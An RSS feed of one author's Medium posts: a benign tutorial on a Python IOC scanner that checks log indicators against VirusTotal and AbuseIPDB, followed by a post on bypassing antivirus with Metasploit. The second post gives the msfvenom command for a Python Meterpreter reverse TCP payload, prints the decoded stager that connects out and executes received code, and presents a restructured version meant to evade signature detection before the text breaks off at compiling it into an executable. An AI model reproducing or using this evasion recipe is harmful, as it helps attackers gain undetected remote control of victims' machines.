<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ameer on Medium]]></title>
        <description><![CDATA[Stories by Ameer on Medium]]></description>
        <link>https://medium.com/@ameer123.1999?source=rss-1825f4870d24------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Rf0AXz4_83aZ5Fv0dRoXkA@2x.jpeg</url>
            <title>Stories by Ameer on Medium</title>
            <link>https://medium.com/@ameer123.1999?source=rss-1825f4870d24------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 10:09:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ameer123.1999/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Coursera to Code: Building a Simple IOC Scanner in Python]]></title>
            <link>https://medium.com/@ameer123.1999/from-coursera-to-code-building-a-simple-ioc-scanner-in-python-1efeadf8ffa9?source=rss-1825f4870d24------2</link>
            <guid isPermaLink="false">https://medium.com/p/1efeadf8ffa9</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[automation-tools]]></category>
            <dc:creator><![CDATA[Ameer]]></dc:creator>
            <pubDate>Sat, 03 May 2025 13:35:11 GMT</pubDate>
            <atom:updated>2025-05-03T13:55:19.545Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qh1aGmoAEHGzF3ZQTpOA5w.png" /></figure><blockquote># This code was developed By me (Ameer Abu Zidan)</blockquote><blockquote><em>🔗 </em><strong><em>Source Code</em></strong><em><br> You can find the full source code and latest updates on GitHub:<br> </em><a href="https://github.com/ameeraz19/IOC-Hunter"><em>https://github.com/ameeraz19/IOC-Hunter</em></a></blockquote><p>As a student diving into the world of cybersecurity through Coursera, the <strong>concept of Indicators of Compromise</strong> (IOCs) immediately caught my attention. Understanding how analysts use these digital breadcrumbs IP addresses, domain names, file hashes to detect and respond to threats felt like unlocking a crucial piece of the puzzle. Inspired by these lessons, I decided to put theory into practice and develop a Python tool to automate some of the basic IOC scanning processes.</p><p>This post walks through a simple Python script I developed. Its goal is to scan specified log file locations on a Windows system, extract potential IOCs (IPs, domains, hashes), and then check their reputation using external threat intelligence services like VirusTotal and AbuseIPDB. It’s a way to proactively hunt for known malicious indicators that might be lurking in system logs.</p><p>Join me as I break down the code, section by section, explaining the choices made and the purpose of each part. Think of this not as a production ready, bulletproof security tool, but rather as a student’s exploration a practical application of cybersecurity concepts learned in the classroom. It’s a demonstration of how foundational programming skills can be leveraged to build helpful utilities, even if they are just starting points.</p><h3>Code Breakdown</h3><p>Let’s dive into the Python script, piece by piece.</p><h3>=== IMPORTS ===</h3><pre>import os<br>import re<br>import requests<br>import time<br>import ctypes<br>import sys<br>import json<br>import ipaddress<br>from pathlib import Path<br>from datetime import datetime<br>from colorama import init, Fore, Style<br><br># Initialize colorama<br>init()</pre><p>Every Python script starts by bringing in the necessary tools, and this one is no different. Here’s a quick rundown of why each module was chosen:</p><ul><li>os: Essential for interacting with the operating system, like finding user profile paths (os.path.expandvars) and checking file sizes (os.path.getsize).</li><li>re: The regular expression engine. This is the heart of IOC extraction, allowing the script to find patterns matching IPs, domains, and hashes within log files.</li><li>requests: A standard for making HTTP requests. It&#39;s used here to communicate with the VirusTotal and AbuseIPDB APIs.</li><li>time: Used primarily for time.sleep(1.2) to add a small delay between API calls, respecting potential rate limits of the free API tiers.</li><li>ctypes &amp; sys: These work together for a Windows specific task: checking if the script is running with administrator privileges and attempting to re-launch it with elevation if needed. Accessing certain log directories often requires admin rights.</li><li>json: Used for handling the data in the scan database (scan_db.json) and the IOC database (ioc_db.json), storing and retrieving information about scanned files and found IOCs.</li><li>ipaddress: A helpful module for working with IP addresses, specifically used here to easily check if an IP is internal/private (is_internal_ip) so we don&#39;t waste API calls on them.</li><li>pathlib: Provides a way to interact with filesystem paths (Path(base_dir).rglob(&quot;*.log&quot;)), making directory traversal cleaner than traditional os.walk.</li><li>datetime: Used to timestamp alerts and results, providing context for when an IOC was detected.</li><li>colorama: Adds a touch of user friendliness to the console output by allowing colored text (e.g., red for alerts, yellow for previously seen IOCs). init() initializes it.</li></ul><h3>=== CONFIG ===</h3><pre># === CONFIG ===<br>VIRUSTOTAL_API_KEY = &quot;...&quot;<br>ABUSEIPDB_API_KEY = &quot;...&quot;<br>SCAN_DIRS = [<br>    os.path.expandvars(r&quot;%USERPROFILE%\\AppData\\Local\\Logs&quot;),<br>    r&quot;C:\\Users&quot;,<br>    r&quot;C:\\ProgramData&quot;,<br>    r&quot;C:\\Windows\\System32\\LogFiles&quot;<br>]<br>ALERT_FILE = &quot;alerts.txt&quot;<br>RESULT_FILE = &quot;results.txt&quot;<br>SCAN_DB_FILE = &quot;scan_db.json&quot;<br>IOC_DB_FILE = &quot;ioc_db.json&quot;</pre><p>This section centralizes key configuration settings for the script:</p><ul><li>VIRUSTOTAL_API_KEY &amp; ABUSEIPDB_API_KEY: These hold your personal API keys for VirusTotal and AbuseIPDB. Important: In a real application or shared code, these should <em>never</em> be hardcoded directly like this. Better methods include environment variables, configuration files, or secure secret management systems. For this student project, they are included for simplicity, but remember this is not a secure practice.</li><li>SCAN_DIRS: This list defines the directories the script will recursively scan for .log files. It includes common locations on Windows where logs might be stored, using os.path.expandvars to correctly resolve paths like %USERPROFILE%.</li><li>ALERT_FILE, RESULT_FILE, SCAN_DB_FILE, IOC_DB_FILE: These define the names for the output files. alerts.txt gets high priority findings, results.txt logs all findings (including previously seen ones), scan_db.json keeps track of scanned files and their sizes to avoid re-scanning unchanged files, and ioc_db.json stores details about IOCs that have already been flagged.</li></ul><h3>=== IOC REGEX ===</h3><pre># === IOC REGEX ===<br>IP_REGEX = r&quot;\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b&quot;<br>DOMAIN_REGEX = r&quot;\b(?:[a-zA-Z0-9-]+\.)+(?:com|org|net|...|za|zm|zw|հայ|বাংলা)\b&quot;<br>HASH_REGEX = r&quot;\b[a-fA-F0-9]{64}\b|\b[a-fA-F0-9]{40}\b|\b[a-fA-F0-9]{32}\b&quot;</pre><p>This section defines the regular expressions (regex) used to find potential IOCs within the log file content:</p><ul><li>IP_REGEX: A pattern designed to match IPv4 addresses. It looks for four groups of one to three digits separated by dots. The \b represents word boundaries, helping to avoid matching parts of larger numbers.</li><li>DOMAIN_REGEX: This aims to match domain names. It looks for sequences of letters, numbers, and hyphens separated by dots, followed by a common top level domain (TLD). The list of TLDs included is quite extensive, aiming for broad coverage. Regex for domains can be complex and might not catch all edge cases perfectly, but this provides a reasonable starting point.</li><li>HASH_REGEX: This pattern targets common cryptographic hash lengths: SHA-256 (64 hex characters), SHA-1 (40 hex characters), and MD5 (32 hex characters). It looks for sequences of hexadecimal characters (a-f, A-F, 0-9) of exactly these lengths, again using word boundaries.</li></ul><h3>=== Load/Save Databases ===</h3><pre># === Load/Save Databases ===<br>def load_json_file(path, default=None):<br>    # ... (implementation)<br>def save_json_file(path, data):<br>    # ... (implementation)</pre><p>Persistence is key for a tool like this. We don’t want to re-scan files that haven’t changed, and we want to remember IOCs we’ve already flagged. These two helper functions handle reading from and writing to JSON files, which act as simple databases:</p><ul><li>load_json_file(path, default=None): Attempts to read a JSON file from the given path. If the file doesn&#39;t exist, it creates it with a default value (an empty dictionary {} if default isn&#39;t provided). It includes basic error handling in case the file is corrupted.</li><li>save_json_file(path, data): Writes the provided Python data (usually a dictionary) to the specified path as a JSON file. It uses an indent for readability.</li></ul><h3>=== IP Check ===</h3><pre># === IP Check ===<br>def is_internal_ip(ip):<br>    try:<br>        ip_obj = ipaddress.ip_address(ip)<br>        return ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved<br>    except ValueError:<br>        return True</pre><p>Before sending an IP address off to external services like VirusTotal or AbuseIPDB, it’s wise to check if it’s an internal (private, loopback, or reserved) IP. There’s no value in querying public databases about addresses like 192.168.1.100 or 127.0.0.1. This simple function, is_internal_ip, uses Python&#39;s built in ipaddress module to perform this check efficiently. It takes an IP string, tries to parse it, and returns True if the IP falls into any of the non public ranges. If the input isn&#39;t even a valid IP address (causing a ValueError), it also returns True to prevent further processing.</p><h3>=== VirusTotal API ===</h3><pre># === VirusTotal API ===<br>def check_virustotal(ioc):<br>    headers = {&quot;x-apikey&quot;: VIRUSTOTAL_API_KEY}<br>    try:<br>        # Determine URL based on IOC type (IP, hash, domain)<br>        # ... (implementation)<br>        response = requests.get(url, headers=headers, timeout=10)<br>        if response.status_code == 200:<br>            data = response.json()<br>            # Extract malicious count<br>            return data[&#39;data&#39;][&#39;attributes&#39;][&#39;last_analysis_stats&#39;][&#39;malicious&#39;]<br>        elif response.status_code == 404:<br>            # Not found on VT, likely clean or unknown<br>            return 0<br>        else:<br>            # Handle other API errors<br>            print(Fore.BLUE + f&quot;[VT] Error {response.status_code}: Failed to query {ioc}&quot; + Style.RESET_ALL)<br>            return None<br>    except requests.RequestException as e:<br>        # Handle connection errors<br>        print(Fore.BLUE + f&quot;[VT] Connection error: {e}&quot; + Style.RESET_ALL)<br>        input(&quot;Press Enter to continue...&quot;) # Pause on error<br>        return None</pre><p>This function, check_virustotal, is responsible for querying the VirusTotal (VT) API to get reputation information about a given IOC.</p><ol><li>It first sets up the necessary HTTP header, including the VIRUSTOTAL_API_KEY.</li><li>It then determines the correct VT API endpoint based on whether the ioc looks like an IP address, a file hash, or a domain name, using the regex patterns defined earlier.</li><li>Using the requests library, it sends a GET request to the appropriate VT URL.</li><li>It handles the response: If successful (status code 200), it parses the JSON response and extracts the malicious count from the last_analysis_stats. This count indicates how many security vendors flagged the IOC as malicious. If the IOC is not found (status code 404), it&#39;s treated as non malicious (returns 0). Other error codes are reported to the console.</li><li>Basic network error handling (requests.RequestException) is included to catch issues like timeouts or connection problems, printing an error and pausing the script.</li></ol><p>This function is crucial for leveraging VT’s vast database of threat intelligence to assess the risk associated with found IOCs.</p><p><strong>Virustotal docs</strong>: <a href="https://docs.virustotal.com/reference/overview">https://docs.virustotal.com/reference/overview</a></p><h3>=== AbuseIPDB API ===</h3><pre># === AbuseIPDB API ===<br>def check_abuseipdb(ip):<br>    url = &quot;https://api.abuseipdb.com/api/v2/check&quot;<br>    headers = {<br>        &quot;Key&quot;: ABUSEIPDB_API_KEY,<br>        &quot;Accept&quot;: &quot;application/json&quot;<br>    }<br>    params = {&quot;ipAddress&quot;: ip, &quot;maxAgeInDays&quot;: &quot;30&quot;}<br>    try:<br>        response = requests.get(url, headers=headers, params=params, timeout=10) <br>        if response.status_code == 200:<br>            data = response.json()<br>            # Extract abuse confidence score<br>            return data[&quot;data&quot;][&quot;abuseConfidenceScore&quot;]<br>        else:<br>            # Handle API errors<br>            print(Fore.BLUE + f&quot;[AbuseIPDB] Error {response.status_code} while checking {ip}&quot; + Style.RESET_ALL)<br>            input(&quot;Press Enter to continue...&quot;) # Pause on error<br>            return None<br>    except requests.RequestException as e:<br>        # Handle connection errors<br>        print(Fore.BLUE + f&quot;[AbuseIPDB] Connection error: {e}&quot; + Style.RESET_ALL)<br>        return None</pre><p>Complementing VirusTotal, the check_abuseipdb function queries the AbuseIPDB API, specifically focusing on the reputation of IP addresses based on reported malicious activity.</p><ol><li>It defines the API endpoint URL and prepares the necessary headers, including the ABUSEIPDB_API_KEY.</li><li>It sets the request parameters, primarily the ipAddress to check and maxAgeInDays (set to 30 here) to limit the scope of reported abuse.</li><li>Using requests, it sends a GET request to the AbuseIPDB API.</li><li>If the request is successful (status code 200), it parses the JSON response and returns the abuseConfidenceScore, a value from 0 to 100 indicating the likelihood that the IP is malicious.</li><li>Similar to the VirusTotal function, it includes basic error handling for non 200 status codes and network connection issues (requests.RequestException), printing an error message. It also includes a pause (input(...)) on API errors to prevent the script from potentially overwhelming the API or running away if there&#39;s a persistent issue.</li></ol><p><strong>Abuseipdb docs:</strong> <a href="https://docs.abuseipdb.com/#introduction">https://docs.abuseipdb.com/#introduction</a></p><h3>=== Write alert to result.txt ===</h3><pre># === Write alert to result.txt ===<br>def log_result(alert):<br>    timestamp = datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;)<br>    entry = f&quot;[{timestamp}] {alert}\n&quot;<br>    with open(RESULT_FILE, &quot;a&quot;) as rf:<br>        rf.write(entry)</pre><p>This is a simple utility function, log_result. Its purpose is to take an alert message string, prepend the current timestamp, and append this formatted entry as a new line to the RESULT_FILE (defined earlier as results.txt). This creates a running log of all findings, both new alerts and previously flagged IOCs that were rediscovered.</p><h3>=== Scan logs ===</h3><pre># === Scan logs ===<br>def scan_logs():<br>    scan_db = load_json_file(SCAN_DB_FILE)<br>    ioc_db = load_json_file(IOC_DB_FILE)<br>    for base_dir in SCAN_DIRS:<br>        for path in Path(base_dir).rglob(&quot;*.log&quot;):<br>            try:<br>                path_str = str(path)<br>                size = os.path.getsize(path) # Skip unchanged files<br>                if path_str in scan_db and scan_db[path_str] == size:<br>                    print(f&quot;[~] Skipping unchanged file: {path_str}&quot;)<br>                    continue<br>                with open(path, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:<br>                    content = f.read()<br>                    iocs = set()<br>                    iocs.update(re.findall(IP_REGEX, content))<br>                    for ioc in iocs:<br>                        timestamp = datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;)<br>                        alert = None<br>                        # Check if IOC already flagged<br>                        if ioc in ioc_db:<br>                            continue<br>                        vt_score = None<br>                        abuse_score = None<br>                        if re.fullmatch(IP_REGEX, ioc) and not is_internal_ip(ioc):<br>                            vt_score = check_virustotal(ioc)<br>                            abuse_score = check_abuseipdb(ioc)<br>                        elif re.fullmatch(DOMAIN_REGEX, ioc) or re.fullmatch(HASH_REGEX, ioc):<br>                            vt_score = check_virustotal(ioc)<br>                        if alert:<br>                            ioc_db[ioc] = { ... }<br>                            save_json_file(IOC_DB_FILE, ioc_db)<br>                        # Rate limiting<br>                        time.sleep(1.2)<br>                # Update scan database for this file<br>                scan_db[path_str] = size<br>                save_json_file(SCAN_DB_FILE, scan_db)<br>            except Exception as e:<br>                print(f&quot;[!] Failed to scan {path}: {e}&quot;)<br>    print(&quot;[+] Scan complete.&quot;)</pre><p>This is the core function where the actual scanning happens. Here’s a breakdown of its workflow:</p><ol><li><strong>Load Databases: </strong>It starts by loading the scan_db (to know which files were scanned and their sizes) and ioc_db (to remember previously flagged IOCs) using the load_json_file helper.</li><li><strong>Iterate Directories:</strong> It loops through each base_dir defined in the SCAN_DIRS configuration.</li><li><strong>Find Log Files:</strong> For each base directory, it uses Path(base_dir).rglob(&quot;*.log&quot;) to recursively find all files ending with the .log extension.</li><li><strong>Check for Changes:</strong> For each log file found, it gets its path and current size. It checks the scan_db: if the file path exists in the database and the size matches the stored size, it means the file hasn&#39;t changed since the last scan, so it&#39;s skipped.</li><li><strong>Read File:</strong> If the file is new or has changed, it reads the entire content into memory. It uses encoding=&quot;utf-8&quot; and errors=&quot;ignore&quot; to handle potential encoding issues gracefully, though this might cause loss of some characters in rare cases.</li><li><strong>Extract IOCs:</strong> It applies the IP_REGEX, DOMAIN_REGEX, and HASH_REGEX to the file content using re.findall to extract all potential IOCs. Using a set automatically handles duplicates found within the same file.</li><li><strong>Process Each IOC:</strong> It then iterates through the unique IOCs found in the current file:</li></ol><p><strong>Check IOC DB:</strong> It first checks if the IOC is already present in the ioc_db. If yes, it prints a yellow warning message indicating it&#39;s a previously flagged item, logs the rediscovery to results.txt, and moves to the next IOC in the file.</p><p><strong>API Checks (New IOCs)</strong>: If it’s a new IOC:</p><ul><li>It determines the IOC type (IP, domain, hash).</li><li>For public IPs, it calls both check_virustotal and check_abuseipdb.</li><li>For domains and hashes, it calls check_virustotal.</li><li>It checks the returned scores (VT malicious count, AbuseIPDB confidence score) against predefined thresholds (e.g., VT score &gt;= 1, AbuseIPDB score &gt; 30) to decide if an alert should be generated.</li></ul><p><strong>Log Alert:</strong> If an alert is generated, it’s printed to the console in red, logged to results.txt via log_result, appended to the dedicated alerts.txt file, and the IOC details (timestamp, path found, scores) are saved to the ioc_db.</p><p><strong>Rate Limit:</strong> A time.sleep(1.2) is added after processing each IOC to avoid hitting API rate limits of the free tiers.</p><ol><li>Update Scan DB: After successfully processing a file, its path and current size are recorded in the scan_db, and the database is saved.</li><li>Error Handling: A try...except block wraps the processing for each file to catch potential errors (e.g., permission issues, file read errors) and print a message without crashing the entire scan.</li><li>Completion Message: After iterating through all directories and files, it prints a “Scan complete” message.</li></ol><h3>=== Request Admin Privileges ===</h3><pre># === Request Admin Privileges ===<br>def is_admin():<br>    try:<br>        return ctypes.windll.shell32.IsUserAnAdmin()<br>    except:<br>        return False # ... later in the main block ...<br>if not is_admin():<br>    print(&quot;[!] Admin privileges required. Relaunching as admin...&quot;)<br>    ctypes.windll.shell32.ShellExecuteW(None, &quot;runas&quot;, sys.executable, __file__, None, 1)<br>    sys.exit()</pre><p>Accessing certain system directories, especially within C:\Windows or other users&#39; profiles, often requires administrator privileges on Windows. This script includes a mechanism to handle this:</p><ul><li>is_admin(): This function uses the ctypes library to interact with the Windows API (shell32.dll) and call the IsUserAnAdmin() function. It returns True if the script is currently running with admin rights, and False otherwise. A basic try...except handles cases where ctypes might not be available or the call fails for some reason.</li><li>Relaunch Logic (in if __name__ == &quot;__main__&quot;): Before starting the scan, the main part of the script calls is_admin(). If it returns False, the script prints a message and then uses ctypes.windll.shell32.ShellExecuteW with the runas verb. This is the standard Windows way to request elevation, typically triggering a User Account Control (UAC) prompt asking the user for permission to run the script as an administrator. The script then immediately exits (sys.exit()), expecting the newly elevated instance to take over.</li></ul><h3>=== Main Execution Block ===</h3><pre>if __name__ == &quot;__main__&quot;:<br>    # Check for admin privileges and relaunch if needed<br>    if not is_admin():<br>        print(&quot;[!] Admin privileges required. Relaunching as admin...&quot;)<br>        ctypes.windll.shell32.ShellExecuteW(None, &quot;runas&quot;, sys.executable, __file__, None, 1)<br>        sys.exit() # Print startup message<br>    print(&quot;[+] Starting IOC scan in directories:&quot;)<br>    for d in SCAN_DIRS:<br>        print(&quot;   &quot;, d)<br>    <br>    # Start the scan<br>    scan_logs()<br>    <br>    # Print completion message<br>    print(&quot;[+] Alerts saved to&quot;, ALERT_FILE)<br>    print(&quot;[+] Detailed results saved to&quot;, RESULT_FILE)</pre><p>Finally, the if __name__ == &quot;__main__&quot;: block is the entry point when the script is run directly.</p><ol><li>Admin Check: As discussed previously, it first checks for administrator privileges using is_admin() and attempts to relaunch with elevation if necessary.</li><li>Startup Message: It prints a confirmation message indicating the scan is starting and lists the directories (SCAN_DIRS) that will be scanned.</li><li>Initiate Scan: It calls the main scan_logs() function to begin the process of finding, reading, and analyzing log files.</li><li>Completion Message: Once scan_logs() finishes, it prints messages indicating where the primary alerts (ALERT_FILE) and the detailed results (RESULT_FILE) have been saved.</li></ol><h3>Important Considerations &amp; Next Steps</h3><p>As mentioned at the beginning, this script is a learning exercise, a practical application of concepts encountered during cybersecurity studies. It demonstrates how to combine file handling, regular expressions, API interaction, and basic system checks to build a potentially useful tool. However, it’s crucial to understand its limitations:</p><ul><li><strong>Not Bulletproof:</strong> This code is far from a production grade security solution. Error handling is basic, regex patterns might miss edge cases or have false positives, and API interactions could be more robust (e.g., handling rate limits more gracefully than just sleeping, implementing retries).</li><li><strong>API Key Security:</strong> Hardcoding API keys directly in the script is insecure. In a real world scenario, use environment variables, configuration files outside the codebase, or a proper secrets management system.</li><li><strong>Performance:</strong> Reading entire log files into memory might be inefficient for very large files. Streaming reads or more targeted parsing could be necessary.</li><li><strong>Regex Accuracy:</strong> While the provided regex aims for common patterns, accurately capturing all valid IPs, domains, and especially hashes without false positives can be challenging. More sophisticated parsing might be needed for specific log formats.</li><li><strong>Context:</strong> The script flags IOCs based purely on external reputation scores. It lacks the context a human analyst would have. A high score doesn’t <em>always</em> mean malicious intent in a specific context, and a zero score doesn’t guarantee safety.</li><li><strong>Windows Specific:</strong> The admin check and some default paths are Windows specific.</li></ul><p>Despite these limitations, building this tool was an invaluable learning experience. Potential next steps to improve it could include:</p><ul><li>Implementing more robust error handling and logging.</li><li>Adding support for more IOC types (e.g., URLs).</li><li>Integrating with other threat intelligence sources.</li><li>Parsing specific log formats instead of generic regex.</li><li>Improving performance for large files.</li><li>Refactoring for better modularity and testability.</li></ul><p>This project highlights how even simple scripts can automate parts of the threat hunting process (not very simple 200+ lines of code :) but yet…), serving as a great starting point for anyone learning cybersecurity and wanting to apply their skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1efeadf8ffa9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Antivirus Bypass Method for Metasploit Tools]]></title>
            <link>https://medium.com/@ameer123.1999/antivirus-bypass-method-for-metasploit-tools-6c2d4a294592?source=rss-1825f4870d24------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c2d4a294592</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Ameer]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 17:27:07 GMT</pubDate>
            <atom:updated>2025-03-02T08:32:44.353Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ch6eFSNmi4-gBGJD.png" /></figure><p>This malware research was developed By me (Ameer Abu Zidan)</p><p><strong>Introduction:</strong></p><p>Ever since I first dipped my toes into the world of cybersecurity, I have been captivated by the challenge of uncovering hidden vulnerabilities and finding creative ways to overcome sophisticated defenses. My passion for research has driven me to explore every corner of modern security systems, and in this article, I share one of my most intriguing discoveries: a very easy method to bypass antivirus detection using Metasploit tools and inject the target system with payload.</p><p>As part of my cybersecurity analyst course at Google and Richman Tech School, we learned about <strong>msfconsole</strong> and how it is almost always detected by antivirus software. This sparked my curiosity and led me to conduct this research, exploring ways to modify and evade detection using various techniques.</p><p><strong><em>Disclaimer:</em></strong><em> This research is for educational purposes only. The information provided is intended to help cybersecurity professionals improve their defensive strategies and test security measures legally. I am not responsible for any misuse of this knowledge for malicious purposes. Unauthorized access to systems without permission is illegal and punishable by law.</em></p><h3>1. Payload Creation with msfvenom</h3><p>The process begins by creating a Meterpreter payload using Metasploit’s msfvenom. In this case, I used a Python-based Meterpreter reverse TCP payload. The command is as follows:</p><pre>msfvenom -p python/meterpreter/reverse_tcp LHOST=xxxxxxxxxxxx LPORT=65047 -f raw</pre><blockquote>The ‘xxxxxxxxxxxx’ values in the configurations denote my IP tunnel, which I use to securely route traffic using public IP for testing AV evasion techniques without exposing my real network</blockquote><p>This command generates a raw payload. The output is a Python snippet that uses dynamic module imports and compression/encoding techniques to hide its true intent. For example, the generated output was like this:</p><pre>exec(__import__(&#39;zlib&#39;).decompress(__import__(&#39;base64&#39;).b64decode(__import__(&#39;codecs&#39;).getencoder(&#39;utf-8&#39;)(&#39;eNpNUFFLxDAMfl5/Rd/aYK9M2U04boKIDyIieL4dIlsbtazrRtvTqfjfXekh5iEhX74kX2KGafSRhlH1GMWXNZ3o2oB1JUL0BxVFNAOSl9HTmRpHfetekZ+WsCFF9J+LL0KTm2UO/Ewc89391e3z7vHh+vIOEk+q0TlUkXM2/7MFHpio12V1DonXeWx7UuCscIppQVIgg0Wc+BqIbbIweXBTq3rOLm6YCNKjeucVwL58Iro55hbIx5uxSC06rmFrl3H65K+6yjAQnFHxdLvUuKiZPIbA8xtkV1cJ1JiY4psFtgk/QH4BLohj5w==&#39;)[0])))</pre><p>At first glance, it’s clear that <strong>base64</strong> encoding and <strong>zlib compression</strong> were used to hide the actual malicious code.</p><h3>Step 2: Investigating the Payload Structure</h3><p>After generating the payload, I realized it wasn’t just raw Python code. Instead, it was encrypted using <strong>base64</strong> and <strong>zlib</strong>, meaning it needed to be decoded before execution.</p><p>To reveal the real content, I used <a href="https://gchq.github.io/CyberChef/"><strong>CyberChef</strong></a>, a powerful tool for encoding and decoding data.</p><h4>in CyberChef:</h4><ol><li><strong>Input the encoded payload</strong> (base64 string).</li><li><strong>Use “From Base64” operation</strong> to decode it.</li><li><strong>Use “Zlib Inflate” operation</strong> to decompress the decoded data.</li></ol><p>After running these operations, I uncovered the <strong>unencrypted</strong> Python script that the payload was executing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r01alSC0lS1-j1-vgxYXHw.png" /></figure><h4>output:</h4><pre>import socket, zlib, base64, struct, time<br><br>for x in range(10):<br>    try:<br>        s = socket.socket(2, socket.SOCK_STREAM)<br>        s.connect((&#39;xxxxxxxxxxxx&#39;, 65047))<br>        break<br>    except:<br>        time.sleep(5)<br><br>l = struct.unpack(&#39;&gt;I&#39;, s.recv(4))[0]<br>d = s.recv(l)<br>while len(d) &lt; l:<br>    d += s.recv(l - len(d))<br><br>exec(zlib.decompress(base64.b64decode(d)), {&#39;s&#39;: s})</pre><h4>This script:</h4><ul><li>Tries to connect to a <strong>remote server</strong>.</li><li>Receives and executes additional <strong>base64 and zlib-compressed</strong> code.</li><li>Ensures persistence by retrying multiple times.</li></ul><h3>step 3: Avoiding Signature-Based Detection</h3><p>At this point, I realized that <strong>90% of antivirus programs would detect this script</strong> because many hackers have already used similar techniques. Signature-based detection would easily flag this payload as malicious.</p><p>So, I decided to <strong>change the signature of the file</strong> to evade detection. I remembered reading about this approach in a book I bought on <strong>Amazon</strong> called <strong>Antivirus Bypass Techniques</strong>. The book explains exactly how <strong>antivirus engines work</strong>, and how to bypass them not by giving methods, but by introducing a new way of thinking. It helps readers understand <strong>how to find zero-day vulnerabilities in antivirus software</strong> and how to be <strong>dynamic</strong> instead of relying on the same static methods everyone else uses.</p><p>📖 <strong>I highly recommend this book: </strong><a href="https://www.amazon.com/Antivirus-Bypass-Techniques-practical-techniques-ebook/dp/B094YTJXTF/ref=nav_signin?crid=26WF7CHOP9ZO3&amp;dib=eyJ2IjoiMSJ9.XMVNsM3Nbqy3sYlc0aIVsmwuXFsp1gfqmv1JlqbhFUI.uQT-3rwb3RF2WsMP7TwGfz2eMBhm08yR2hDO-51nf0k&amp;dib_tag=se&amp;keywords=Antivirus+Bypass+Techniques&amp;qid=1740395752&amp;sprefix=antivirus+bypass+techniques+antivirus+software+p.+1+.+packt+publishing.+kindle+edition.%2Caps%2C201&amp;sr=8-1"><strong>Antivirus Bypass Techniques</strong></a></p><p>To modify the signature and <strong>make my payload less detectable</strong>, I rewrote the script with additional randomization and structure changes while maintaining the same functionality.</p><p>Here’s my improved version:</p><pre>a = &#39;&#39;&#39;import socket, zlib, base64, struct, time\n&#39;&#39;&#39;<br>b = &#39;&#39;&#39;for x in range(10):\n&#39;&#39;&#39;<br>c = &#39;&#39;&#39;    try:\n&#39;&#39;&#39;<br>d = &#39;&#39;&#39;        s = socket.socket(2, socket.SOCK_STREAM)\n&#39;&#39;&#39;<br>e = &#39;&#39;&#39;        s.connect((&#39;xxxxxxxxxxxx&#39;, 65047))\n&#39;&#39;&#39;<br>f = &#39;&#39;&#39;        break\n&#39;&#39;&#39;<br>g = &#39;&#39;&#39;    except:\n&#39;&#39;&#39;<br>h = &#39;&#39;&#39;        time.sleep(5)\n&#39;&#39;&#39;<br>i = &#39;&#39;&#39;data = s.recv(4)\n&#39;&#39;&#39;<br>j = &#39;&#39;&#39;if len(data) == 4:\n&#39;&#39;&#39;<br>k = &#39;&#39;&#39;    l = struct.unpack(&#39;&gt;I&#39;, data)[0]\n&#39;&#39;&#39;<br>l = &#39;&#39;&#39;else:\n&#39;&#39;&#39;<br>m = &#39;&#39;&#39;    print(&quot;Received insufficient data.&quot;)\n&#39;&#39;&#39;<br>n = &#39;&#39;&#39;    raise ValueError(&quot;Received less than 4 bytes&quot;)\n&#39;&#39;&#39;<br>o = &#39;&#39;&#39;d = s.recv(l)\n&#39;&#39;&#39;<br>p = &#39;&#39;&#39;while len(d) &lt; l:\n&#39;&#39;&#39;<br>q = &#39;&#39;&#39;    d += s.recv(l - len(d))\n&#39;&#39;&#39;<br>r = &#39;&#39;&#39;exec(zlib.decompress(base64.b64decode(d)), {&#39;s&#39;: s})\n&#39;&#39;&#39;<br><br>final_code = a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p + q + r<br><br>exec(final_code)</pre><h4>What I Changed and Why:</h4><ol><li><strong>Split the script into separate strings and reconstructed it dynamically.</strong></li></ol><ul><li>This alters the file structure, preventing antivirus pattern matching.</li></ul><p><strong>2. Added print statements and error handling.</strong></p><ul><li>Some AVs rely on specific behavior this change makes the script look more like a legitimate program.</li></ul><p><strong>3. Modified variable names and socket connection details.</strong></p><ul><li>Randomizing these elements helps avoid static signatures.</li></ul><p><strong>4. Rewrote the data-receiving mechanism.</strong></p><ul><li>The original script simply unpacked data now, I check if enough data is received before proceeding.</li></ul><p>By making these modifications, the <strong>static signature</strong> of the file was completely different, reducing its detectability.</p><h3>Step 4: Compiling the Payload to an Executable</h3><p>To run the script as an executable <strong>without requiring Python on the target system</strong>, I used <strong>PyInstaller</strong>. Normally, Python scripts require an interpreter to run, but <strong>PyInstaller 